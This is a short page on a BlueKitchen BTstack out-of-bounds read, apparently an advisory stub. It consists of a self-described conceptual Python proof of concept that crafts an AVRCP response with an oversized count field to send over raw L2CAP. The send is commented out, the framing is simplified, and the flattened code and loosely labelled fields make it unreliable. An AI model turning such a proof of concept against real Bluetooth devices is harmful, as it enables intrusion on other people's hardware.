CVE-2026-28526 BlueKitchen BTstack越界读取漏洞

import socket import struct # This is a conceptual PoC for sending a malicious AVRCP VENDOR_DEPENDENT response. # It requires a paired Bluetooth connection and raw L2CAP socket access. def send_malicious_avrcp_response(target_bt_mac, psm): # Create a raw Bluetooth L2CAP socket # Note: This typically requires root privileges and specific hardware support sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) target_addr = (target_bt_mac, psm) # Construct the malicious VENDOR_DEPENDENT response # The vulnerability lies in the 'count' field being too large transaction_label = 0x01 pdu_id = 0x10 # Example PDU ID for VENDOR_DEPENDENT c_type = 0x00 # Response company_id = 0x00001958 # Example Company ID (might vary) # Malicious payload: count value is set to 0xFFFF to trigger OOB read # Structure: [Header] [Company ID] [Count] ... malicious_count = 0xFFFF # Assemble the packet (Simplified structure) # Real implementation requires correct AVRCP framing over L2CAP header = struct.pack("BBBB", transaction_label, pdu_id, c_type, 0x00) company_id_bytes = struct.pack("<I", company_id) payload = struct.pack("<H", malicious_count) + b"A" * 10 # Padding # In a real exploit, this payload would be encapsulated in L2CAP # and sent to the target's PSM for AVRCP Control. print(f"[+] Sending malicious packet to {target_bt_mac} on PSM {psm}") print(f"[+] Malicious count value: {malicious_count}") # sock.sendto(header + company_id_bytes + payload, target_addr) # sock.close() if __name__ == "__main__": # Replace with actual target MAC and PSM TARGET_MAC = "00:11:22:33:44:55" AVRCP_CONTROL_PSM = 0x17 # Default AVRCP control PSM send_malicious_avrcp_response(TARGET_MAC, AVRCP_CONTROL_PSM)